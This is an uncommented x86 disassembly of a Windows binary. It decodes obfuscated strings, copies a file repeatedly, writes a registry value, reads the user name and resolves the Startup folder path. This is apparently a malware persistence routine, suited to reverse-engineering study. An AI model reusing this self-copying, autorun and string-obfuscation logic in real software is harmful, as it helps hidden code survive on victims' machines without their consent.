call fcn.00466f90
test al, al
jne 0x4467c0
lea ecx, [ebp - 0x414]
call fcn.004627b0
mov esi, eax
test bl, bl
jne 0x4467c0
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x30
call fcn.00402810
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x89]
mov dword [ebp - 0x89], 0x87989c
mov byte [ebp - 0x85], 1
call fcn.00462e30
lea eax, [ebp - 0x89]
mov ecx, esi
push eax
call fcn.00469b20
cmp byte [eax], bl
je 0x446743
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x8e], 0x87989c
mov byte [ebp - 0x8a], 1
call fcn.00462e30
lea eax, [ebp - 0x8e]
mov ecx, esi
push eax
call fcn.00469b20
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470ac0
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.00465a60
sub esp, 0xc
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.004647a0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x31
call fcn.004142a0
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x2f
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x414]
call fcn.00462760
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0x414]
call fcn.00466f90
test al, al
je 0x4466a2
lea ecx, [ebp - 0x22c]
call fcn.00466f10
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], 0
je 0x446640
and dword [ebp - 0x14], 0xfffdffff
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0x2e
call fcn.0041c2b0
lea ecx, [ebp - 0x424]
call fcn.00462760
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x424]
call fcn.00466f90
test al, al
je 0x4465e0
lea ecx, [ebp - 0x230]
call fcn.00466f10
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], 0
je 0x446572
mov esi, dword [ebp - 0x14]
and esi, 0xffefffff
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x14], esi
call fcn.0041c2b0
jmp 0x44684c
mov bl, 1
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x2d0]
call fcn.00467c60
lea ecx, [ebp - 0x248]
call fcn.00402660
mov edi, dword [ebp - 0x24]
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x13
call fcn.00463500
mov esi, dword [ebp - 0x2fc]
inc edi
mov dword [ebp - 0x24], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0x2f8]
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x24], eax
jb 0x4457a0
sub edi, esi
mov eax, 0x2aaaaaab
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4468ca
test bl, bl
je 0x447d96
lea ecx, [ebp - 0x6b]
mov dword [ebp - 0x6b], 0x89938fc7
mov word [ebp - 0x67], 0x100
call fcn.00462be0
push dword [ebp - 0x58]
lea ecx, [ebp - 0x270]
call fcn.004027f0
lea ecx, [ebp - 0x6b]
mov byte [ebp - 4], 0x33
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4468f7
sub ecx, edx
lea eax, [ebp - 0x6b]
push ecx
push eax
lea ecx, [ebp - 0x270]
call fcn.00402810
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x4f]
mov word [ebp - 0x4f], 0xc7
mov byte [ebp - 0x4d], 1
call fcn.00462d90
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x254], esi
mov ecx, esi
push dword [ebp - 0x254]
call fcn.004027f0
lea ecx, [ebp - 0x4f]
mov byte [ebp - 4], 0x35
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446950
sub ecx, edx
lea eax, [ebp - 0x4f]
push ecx
push eax
mov ecx, esi
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x568]
mov ecx, esp
push eax
call fcn.00465a60
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x34
call fcn.0040c3e0
add esp, 0x30
mov byte [ebp - 4], 0x37
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x368]
sub ecx, dword [ebp - 0x36c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x446eae
lea ecx, [ebp - 0x36c]
call fcn.004646a0
dec eax
lea ecx, [ebp - 0x36c]
push eax
call fcn.00464680
push eax
lea ecx, [ebp - 0x270]
call fcn.004658b0
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], 0x8e928c
mov byte [ebp - 0x110], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x3bc]
call fcn.00402700
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x270]
mov ebx, dword [ebp - 0x14]
mov edx, eax
or ebx, 1
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0x119]
mov dword [ebp - 0x119], 0x829984
mov byte [ebp - 0x115], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x3d4]
call fcn.00402700
mov dword [ebp - 4], 0x39
lea ecx, [ebp - 0x270]
or ebx, 2
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0x10f]
mov dword [ebp - 0x10f], 0x99899a
mov byte [ebp - 0x10b], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x608]
call fcn.00402700
mov dword [ebp - 4], 0x3a
lea ecx, [ebp - 0x270]
or ebx, 4
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0x11e]
mov dword [ebp - 0x11e], 0x9f929d
mov byte [ebp - 0x11a], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x5f0]
call fcn.00402700
mov dword [ebp - 4], 0x3b
lea ecx, [ebp - 0x270]
or ebx, 8
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0x123]
mov dword [ebp - 0x123], 0x88858d
mov byte [ebp - 0x11f], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00402700
mov dword [ebp - 4], 0x3c
lea ecx, [ebp - 0x270]
or ebx, 0x10
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0x145]
mov dword [ebp - 0x145], 0x9488858d
mov word [ebp - 0x141], 0x100
call fcn.0040b830
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov dword [ebp - 4], 0x3d
lea ecx, [ebp - 0x270]
or ebx, 0x20
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x128], 0x8c8499
mov byte [ebp - 0x124], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov dword [ebp - 4], 0x3e
lea ecx, [ebp - 0x270]
or ebx, 0x40
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0x12d]
mov dword [ebp - 0x12d], 0x8c9a83
mov byte [ebp - 0x129], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x454]
call fcn.00402700
mov dword [ebp - 4], 0x3f
lea ecx, [ebp - 0x270]
or ebx, 0x80
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0x14b]
mov dword [ebp - 0x14b], 0x8b8e9a83
mov word [ebp - 0x147], 0x100
call fcn.0040b830
push eax
lea ecx, [ebp - 0xa8]
call fcn.00402700
mov dword [ebp - 4], 0x40
lea ecx, [ebp - 0x270]
or ebx, 0x100
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0xf1]
mov dword [ebp - 0xf1], 0x9b878b
mov byte [ebp - 0xed], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x248]
call fcn.00402700
mov dword [ebp - 4], 0x41
lea ecx, [ebp - 0x270]
or ebx, 0x200
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0xf6]
mov dword [ebp - 0xf6], 0x9f8b8b
mov byte [ebp - 0xf2], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x2b8]
call fcn.00402700
mov dword [ebp - 4], 0x42
lea ecx, [ebp - 0x270]
or ebx, 0x400
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
test al, al
je 0x446d54
lea ecx, [ebp - 0xfb]
mov dword [ebp - 0xfb], 0x98889f
mov byte [ebp - 0xf7], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x46c]
call fcn.00402700
or ebx, 0x800
lea ecx, [ebp - 0x270]
mov edx, eax
mov dword [ebp - 0x14], ebx
call fcn.0046a310
mov byte [ebp - 0xd], 1
test al, al
jne 0x446d58
mov byte [ebp - 0xd], 0
test ebx, 0x800
je 0x446d74
and ebx, 0xfffff7ff
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x400
je 0x446d90
and ebx, 0xfffffbff
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x200
je 0x446dac
and ebx, 0xfffffdff
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test ebx, 0x100
je 0x446dc8
and ebx, 0xfffffeff
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, bl
jns 0x446de0
and ebx, 0xffffff7f
lea ecx, [ebp - 0x454]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x40
je 0x446df6
and ebx, 0xffffffbf
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x20
je 0x446e09
and ebx, 0xffffffdf
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 0x10
je 0x446e1f
and ebx, 0xffffffef
lea ecx, [ebp - 0x5d8]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 8
je 0x446e35
and ebx, 0xfffffff7
lea ecx, [ebp - 0x5f0]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 4
je 0x446e4b
and ebx, 0xfffffffb
lea ecx, [ebp - 0x608]
mov dword [ebp - 0x14], ebx
call fcn.00402660
test bl, 2
je 0x446e61
and ebx, 0xfffffffd
lea ecx, [ebp - 0x3d4]
mov dword [ebp - 0x14], ebx
call fcn.00402660
mov dword [ebp - 4], 0x37
test bl, 1
je 0x446e7e
and ebx, 0xfffffffe
lea ecx, [ebp - 0x3bc]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x446eb1
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x100], 0x8e928c
mov byte [ebp - 0xfc], 1
call fcn.004094c0
push eax
lea ecx, [ebp - 0x270]
call fcn.00465880
jmp 0x446eb1
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x52]
mov word [ebp - 0x52], 0xc7
mov byte [ebp - 0x50], 1
call fcn.00462d90
mov edx, 0x14
lea ecx, [ebp - 0x3d4]
call fcn.0040c740
mov esi, eax
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x65]
mov word [ebp - 0x65], 0xb5
mov byte [ebp - 0x63], 1
call fcn.00462d90
lea eax, [ebp - 0x65]
push eax
lea edx, [ebp + 0x80]
lea ecx, [ebp - 0x3bc]
call fcn.004697b0
add esp, 4
push esi
push eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x20c]
push dword [ebp - 0x254]
call fcn.0046d230
mov esi, dword [ebp - 0x28]
or esi, 8
lea ecx, [ebp - 0x52]
mov byte [ebp - 4], 0x45
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446f30
sub ecx, edx
lea eax, [ebp - 0x52]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00468390
push eax
lea ecx, [ebp - 0x248]
call fcn.004026b0
or esi, 0x10
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
lea eax, [ebp - 0x270]
mov byte [ebp - 4], 0x46
push eax
lea edx, [ebp - 0x248]
lea ecx, [ebp - 0x4c4]
call fcn.004699d0
add esp, 4
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x4b
call fcn.00402660
lea ecx, [ebp - 0x10a]
mov dword [ebp - 0x10a], 0x9c9f9e81
mov dword [ebp - 0x106], 0xdfc0d49e
mov word [ebp - 0x102], 0x100
call fcn.00462af0
lea ecx, [ebp - 0x568]
call fcn.004027a0
lea ecx, [ebp - 0x10a]
push ecx
push eax
call fcn.004de220
add esp, 8
lea ecx, [ebp - 0x4c4]
test eax, eax
setne byte [ebp - 0xdc]
call fcn.004027a0
lea ecx, [ebp - 0x568]
mov esi, eax
call fcn.004027a0
push 0x7530
push 0
push dword [ebp - 0xdc]
mov edx, esi
mov ecx, eax
call fcn.00480550
add esp, 0xc
test al, al
je 0x447d75
push 0x533b44
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x1f4], 0x8e848ea8
mov dword [ebp - 0x1f0], 0x949fbb88
mov dword [ebp - 0x1ec], 0x86968690
mov word [ebp - 0x1e8], 0xa3
mov byte [ebp - 0x1e6], 1
call fcn.0040a6c0
mov edx, eax
lea ecx, [ebp - 0x2b8]
call fcn.00469870
add esp, 4
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x183]
push 0x533b44
mov dword [ebp - 0x183], 0x898c8eac
mov dword [ebp - 0x17f], 0x100bda0
call fcn.00410500
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.00469870
add esp, 4
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x1d7]
push 0x533b44
mov dword [ebp - 0x1d7], 0xb9a2b9a4
mov dword [ebp - 0x1d3], 0x848e8a9d
mov dword [ebp - 0x1cf], 0xa58094
mov byte [ebp - 0x1cb], 1
call fcn.0040d9b0
mov edx, eax
lea ecx, [ebp - 0x454]
call fcn.00469870
add esp, 4
cmp byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x4e
je 0x447365
lea ecx, [ebp - 0x1e5]
mov dword [ebp - 0x1e5], 0xada8a5a5
mov dword [ebp - 0x1e1], 0xa0bfafa1
mov dword [ebp - 0x1dd], 0xb5a7b3b5
mov word [ebp - 0x1d9], 0x100
call fcn.0040ee80
push eax
call fcn.004eb5e1
add esp, 4
test eax, eax
je 0x447365
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xc6]
mov word [ebp - 0xc6], 0xb5
mov byte [ebp - 0xc4], 1
call fcn.0040a3c0
push eax
lea ecx, [ebp - 0x40]
call fcn.00465860
lea eax, [ebp - 0x2b8]
push eax
lea ecx, [ebp - 0x40]
call fcn.00465870
lea ecx, [ebp - 0x40]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf40
test al, al
jne 0x4471b5
lea ecx, [ebp - 0x40]
call fcn.00416110
test al, al
je 0x447359
lea ecx, [ebp - 0x151]
mov dword [ebp - 0x151], 0x89938fc7
mov word [ebp - 0x14d], 0x100
call fcn.0040b830
lea ecx, [ebp - 0xc0]
mov word [ebp - 0xc0], 0xb5
mov esi, eax
mov byte [ebp - 0xbe], 1
call fcn.0040a3c0
push eax
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x3d4]
call fcn.004697b0
add esp, 4
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 0x50
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.004699d0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0x20c]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x54
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x20c]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0040beb0
add esp, 0x18
test al, al
jne 0x44734e
lea ecx, [ebp - 0x20c]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x44734e
movaps xmm0, xmmword [0x526200]
lea eax, [ebp - 0x250]
push eax
movups xmmword [ebp - 0x29f], xmm0
lea ecx, [ebp - 0x29f]
mov dword [ebp - 0x27f], 0x695d7e67
movaps xmm0, xmmword [0x525810]
push 0x20006
push 0
movups xmmword [ebp - 0x28f], xmm0
mov dword [ebp - 0x27b], 0x7f667d7f
mov dword [ebp - 0x277], 0x61414e7f
mov word [ebp - 0x273], 0x7b
mov byte [ebp - 0x271], 1
call fcn.004181e0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x44734e
lea ecx, [ebp - 0x20c]
call fcn.00402650
lea ecx, [ebp - 0x20c]
mov edi, eax
call fcn.004027a0
lea ecx, [ebp - 0x2b8]
mov esi, eax
call fcn.004027a0
push edi
push esi
push 1
push 0
push eax
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x20c]
call fcn.00402660
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x4e
call fcn.00402660
cmp byte [ebp - 0x46], 0
je 0x447940
movaps xmm0, xmmword [0x524e90]
lea ecx, [ebp - 0x39]
movups xmmword [ebp - 0x39], xmm0
mov byte [ebp - 0x29], 1
call fcn.0040edf0
push eax
call fcn.004eb5e1
add esp, 4
test eax, eax
je 0x447940
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0xbd]
mov word [ebp - 0xbd], 0xb5
mov byte [ebp - 0xbb], 1
call fcn.0040a3c0
push eax
lea ecx, [ebp - 0x20c]
call fcn.00465860
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x20c]
call fcn.00465870
lea ecx, [ebp - 0x20c]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf40
test al, al
jne 0x44742d
lea ecx, [ebp - 0x20c]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x248]
call fcn.00402700
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x248]
or ebx, 0x1000
mov dword [ebp - 0x14], ebx
call fcn.00416110
mov byte [ebp - 0xd], 0
test al, al
je 0x447431
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 0x55
test ebx, 0x1000
je 0x447454
and ebx, 0xffffefff
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x447931
lea ecx, [ebp - 0x157]
mov dword [ebp - 0x157], 0x89938fc7
mov word [ebp - 0x153], 0x100
call fcn.0040b830
lea ecx, [ebp - 0xb1]
mov word [ebp - 0xb1], 0xb5
mov esi, eax
mov byte [ebp - 0xaf], 1
call fcn.0040a3c0
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x3d4]
call fcn.004697b0
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x57
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.004699d0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x58
lea ecx, [ebp - 0x40]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
mov byte [ebp - 4], 0x5b
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0040beb0
add esp, 0x18
test al, al
jne 0x447929
lea ecx, [ebp - 0x40]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x447929
push 0x104
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x18], 0x104
push 0
push eax
call fcn.004debb0
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x7a0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x526a70]
lea ecx, [ebp - 0x2ed]
movups xmmword [ebp - 0x2ed], xmm0
mov dword [ebp - 0x2dd], 0xdc9788d6
mov dword [ebp - 0x2d9], 0x48b8b7b5
mov dword [ebp - 0x2d5], 0x575144
mov byte [ebp - 0x2d1], 1
call fcn.0040ef10
lea ecx, [ebp - 0x1ae]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1ae], 0x98c4cacb
mov dword [ebp - 0x1aa], 0xcdce83
mov byte [ebp - 0x1a6], 1
call fcn.0040b860
lea ecx, [ebp - 0x1b7]
mov dword [ebp - 0x1b7], 0x98c4cacb
mov ebx, eax
mov dword [ebp - 0x1b3], 0xcdce9f
mov byte [ebp - 0x1af], 1
call fcn.0040b860
mov edi, eax
lea ecx, [ebp - 0x668]
lea eax, [ebp - 0x7a0]
push eax
call fcn.00402700
mov esi, eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x3a2]
movaps xmm0, xmmword [0x526540]
movups xmmword [ebp - 0x3a2], xmm0
mov dword [ebp - 0x392], 0xdc9dd5d9
mov dword [ebp - 0x38e], 0x20aaacd2
mov word [ebp - 0x38a], 0x23
mov byte [ebp - 0x388], 1
call fcn.004160a0
push esi
mov edx, eax
lea ecx, [ebp - 0x650]
call fcn.004698d0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x638]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x5d8]
call fcn.004699d0
add esp, 4
push ebx
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x5f0]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x60
push ecx
mov edx, eax
lea ecx, [ebp - 0x608]
call fcn.004699d0
add esp, 4
push dword [ebp - 0x24]
mov edx, eax
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x46c]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x608]
call fcn.00402660
lea ecx, [ebp - 0x5f0]
call fcn.00402660
lea ecx, [ebp - 0x5d8]
call fcn.00402660
lea ecx, [ebp - 0x638]
call fcn.00402660
lea ecx, [ebp - 0x650]
call fcn.00402660
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 0x68
call fcn.00402660
sub esp, 0x18
lea ecx, [ebp - 0x46c]
mov esi, esp
call fcn.004027a0
push eax
mov ecx, esi
call fcn.00402700
xor cl, cl
call fcn.004162a0
movaps xmm0, xmmword [0x5268e0]
lea ecx, [ebp - 0x28e]
add esp, 0x18
mov dword [ebp - 0x27e], 0x9089d5d9
movups xmmword [ebp - 0x28e], xmm0
mov dword [ebp - 0x27a], 0x47b6b6dd
mov dword [ebp - 0x276], 0x50504749
mov word [ebp - 0x272], 0x100
call fcn.00414010
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c0], 0x98c4cacb
mov dword [ebp - 0x1bc], 0xcdce83
mov byte [ebp - 0x1b8], 1
call fcn.0040b860
lea ecx, [ebp - 0x19c]
mov dword [ebp - 0x19c], 0x98c4cacb
mov ebx, eax
mov dword [ebp - 0x198], 0xcdce9f
mov byte [ebp - 0x194], 1
call fcn.0040b860
mov edi, eax
lea ecx, [ebp - 0x548]
lea eax, [ebp - 0x7a0]
push eax
call fcn.00402700
mov esi, eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x387]
movaps xmm0, xmmword [0x526540]
movups xmmword [ebp - 0x387], xmm0
mov dword [ebp - 0x377], 0xdc9dd5d9
mov dword [ebp - 0x373], 0x20aaacd2
mov word [ebp - 0x36f], 0x23
mov byte [ebp - 0x36d], 1
call fcn.004160a0
push esi
mov edx, eax
lea ecx, [ebp - 0x530]
call fcn.004698d0
add esp, 4
push edi
mov edx, eax
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x698]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x6b
push ecx
mov edx, eax
lea ecx, [ebp - 0x680]
call fcn.004699d0
add esp, 4
push ebx
mov edx, eax
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x3d4]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x6d
push ecx
mov edx, eax
lea ecx, [ebp - 0x3bc]
call fcn.004699d0
add esp, 4
push dword [ebp - 0x24]
mov edx, eax
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x248]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x3bc]
call fcn.00402660
lea ecx, [ebp - 0x3d4]
call fcn.00402660
lea ecx, [ebp - 0x680]
call fcn.00402660
lea ecx, [ebp - 0x698]
call fcn.00402660
lea ecx, [ebp - 0x530]
call fcn.00402660
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x75
call fcn.00402660
sub esp, 0x18
lea ecx, [ebp - 0x248]
mov esi, esp
call fcn.004027a0
push eax
mov ecx, esi
call fcn.00402700
xor cl, cl
call fcn.004162a0
add esp, 0x18
lea ecx, [ebp - 0x248]
call fcn.00402660
lea ecx, [ebp - 0x46c]
call fcn.00402660
mov ebx, dword [ebp - 0x14]
lea ecx, [ebp - 0x40]
call fcn.00402660
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x4e
call fcn.00402660
cmp byte [ebp - 0x45], 0
je 0x447d00
lea ecx, [ebp - 0x15d]
mov dword [ebp - 0x15d], 0xbca6afbd
mov word [ebp - 0x159], 0x100
call fcn.0040b830
push eax
call fcn.004eb5e1
add esp, 4
test eax, eax
je 0x447d00
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402700
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xb4]
mov word [ebp - 0xb4], 0xb5
mov byte [ebp - 0xb2], 1
call fcn.0040a3c0
push eax
lea ecx, [ebp - 0x20c]
call fcn.00465860
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x20c]
call fcn.00465870
lea ecx, [ebp - 0x20c]
call fcn.004027a0
mov ecx, eax
call fcn.0040bf40
test al, al
jne 0x447a0f
lea ecx, [ebp - 0x20c]
call fcn.004027a0
push eax
lea ecx, [ebp - 0x46c]
call fcn.00402700
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x46c]
or ebx, 0x2000
mov dword [ebp - 0x14], ebx
call fcn.00416110
mov byte [ebp - 0xd], 0
test al, al
je 0x447a13
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 0x76
test ebx, 0x2000
je 0x447a36
and ebx, 0xffffdfff
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x14], ebx
call fcn.00402660
cmp byte [ebp - 0xd], 0
je 0x447cf1
lea ecx, [ebp - 0x139]
mov dword [ebp - 0x139], 0x89938fc7
mov word [ebp - 0x135], 0x100
call fcn.0040b830
lea ecx, [ebp - 0xb7]
mov word [ebp - 0xb7], 0xb5
mov esi, eax
mov byte [ebp - 0xb5], 1
call fcn.0040a3c0
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x530]
call fcn.004697b0
add esp, 4
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x78
push ecx
mov edx, eax
lea ecx, [ebp - 0x548]
call fcn.004699d0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x248]
call fcn.00469810
add esp, 4
lea ecx, [ebp - 0x548]
call fcn.00402660
lea ecx, [ebp - 0x530]
mov byte [ebp - 4], 0x7c
call fcn.00402660
sub esp, 0x18
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.00465a60
call fcn.0040beb0
add esp, 0x18
test al, al
jne 0x447b21
lea ecx, [ebp - 0x248]
call fcn.004027a0
lea ecx, [ebp - 0x4c4]
mov esi, eax
call fcn.004027a0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x447ce6
lea eax, [ebp - 0x7a0]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x447ce6
lea eax, [ebp - 0x7a0]
push eax
lea ecx, [ebp - 0x40]
call fcn.00402700
mov byte [ebp - 4], 0x7d
